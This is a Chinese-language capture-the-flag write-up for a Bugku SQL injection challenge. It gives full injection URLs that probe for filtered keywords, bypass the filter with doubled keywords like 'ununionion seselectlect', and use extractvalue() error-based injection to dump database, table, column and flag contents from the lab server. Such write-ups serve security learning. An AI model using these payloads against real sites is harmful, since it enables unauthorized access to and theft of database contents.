多次
在本题中采用一般的sql注入语法好像无法实现sql注入,进而能够解决该题所以猜测是因为字段被过滤了
异或为逻辑运算,当两个条件相同(同真或同假)时为假,当两个条件不同时为真。
在mysql中异或用^或xor来表示。
当url为http://123.206.87.240:9004/1ndex.php?id=1’^(length(‘and’)!=0)%23
- 若and的长度为0(即为被过滤),则^(length(‘and’)!=0)为假,表达式就为id=1异或0=1,页面正常
- 若and的长度为不为0(即为被过滤),则^(length(‘and’)!=0)为真,表达式就为id=1异或1=0,页面错误
检测被过滤字段
http://123.206.87.240:9004/1ndex.php?id=1’^(length(‘and’)!=0)%23
http://123.206.87.240:9004/1ndex.php?id=1’^(length(‘select’)!=0)%23
http://123.206.87.240:9004/1ndex.php?id=1’^(length(‘union’)!=0)%23
http://123.206.87.240:9004/1ndex.php?id=1’^(length(‘or’)!=0)%23
双写绕过
第一关
测试输出位置
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,2%23
得到位置2
暴历库
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,database()%23
库名:web1002-1
暴历表名(or需要绕过)
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1' %23
表名:flag1,hint
暴历字段
flag1表的内容
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'%23
得到字段:flag1,address
hint表的内容
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='hint'%23
得到字段:id,contents
暴历内容选flag1
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1 %23
得到:usOwycTju+FTUUzXosjr(第一个flag)
暴历内容选address
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1 %23
第二关
拿到下一关地址
我们看到页面中的内容是存在直接输出sql语句的(报错信息也是存在的)
采用基于extractvalue()和updatexml()的报错注入
学习教程https://blog.csdn.net/zpy1998zpy/article/details/80631036
简而言之通过extractvalue()或者updatexml()函数对xml文件进行查找,如果而且路径的格式正确那么就不会报错,无论是否存在该xml文件,但是如果访问的格式不正确那么就会报错,但是内容会从报错中体现。
这里采用extractvalue()进行爆破注入其实updatexml()是一样的
暴历库名:
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue('anything',concat('~',database())))
%23
得到:web1002-2
暴历表名
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'))) %23
得到:class,flag2
暴历列名选flag2
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue('anything',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag2'))) %23
得到:flag2,address
暴历内容
http://123.206.87.240:9004/Once_More.php?id=1' and extractvalue('anything',concat('~',(select group_concat(flag2) from flag2))) %23
得到flag:
flag {Bugku-sql_6s-2i-4t-bug}(小写提交)
address:./Have_Fun.php这是第三关的地址,但是本题只有两关所以这里便不再继续探究了